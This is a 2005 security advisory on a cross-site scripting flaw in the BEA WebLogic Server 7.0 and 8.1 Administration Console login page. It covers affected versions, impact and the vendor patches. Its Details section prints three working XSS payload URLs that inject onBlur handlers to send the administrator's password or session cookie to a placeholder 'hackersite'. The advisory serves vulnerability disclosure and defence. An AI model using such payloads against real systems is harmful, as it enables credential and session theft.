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Team SHATTER Security Alert

BEA WebLogic Administration Console login page cross-site scripting vulnerability

May 27, 2005

Risk Level: High

Affected versions:
BEA WebLogic Server 7.0 and 8.1

Credits:
This vulnerability was discovered and researched by Agustín Martínez Fayó of Argeniss for Application Security Inc.

Background:
The Administration Console is a web browser-based, graphical user interface used to manage a WebLogic Server domain. The Administration Console supports a full range of product administrative tasks. A cross-site scripting vulnerability exists in the login page of the Console.

Details:
Cross-site scripting vulnerabilities occur when an attacker tricks a legitimate web application into sending malicious code, generally in the form of a script, to an unsuspecting end user. The attack usually involves crafting a hyperlink with malicious script code embedded within it. A valid user is likely to click this link since it points to a resource on a trusted domain. The link can be posted on a web page, or sent in an instant message, or email. Clicking on the link executes the attacker-injected code in the context of the trusted web application. Typically, the code steals session cookies, which can then be used to impersonate a valid user.

The "j_username" and "j_password" parameters in the login page of the Administration Console are vulnerable to cross-site scripting attacks. User supplied input to these parameters is returned without proper sanitization, allowing a malicious attacker to inject arbitrary scripting code.

Below are some examples of the hyperlinks an attacker could use.
Steal administrator's password: http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.all.j_password.value)" Get the session cookie : http://vulnerablesite:7001/console/login/LoginForm.jsp?j_username=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)" or http://vulnerablesite:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)"

Impact:
Attackers can steal administrator's session cookies and password, thereby allowing the attacker to impersonate the valid user.

Workaround:
There is no workaround for this issue.

Vendor Status:
Vendor was contacted and a patch was released.

Fix:
For BEA WebLogic Server and WebLogic Express 8.1 upgrade to Service Pack 4. Apply the patch on top of it located at ftp://ftpna.bea.com/pub/releases/security/CR202495_810sp4.jar on top of the service packs.

For BEA WebLogic Server and WebLogic Express 7.0 upgrade to Service Pack 6. Apply the patch located at ftp://ftpna.bea.com/pub/releases/security/CR214457_700sp6.jar on top of the service packs.

Links:
BEA Advisory: http://dev2dev.bea.com/pub/advisory/130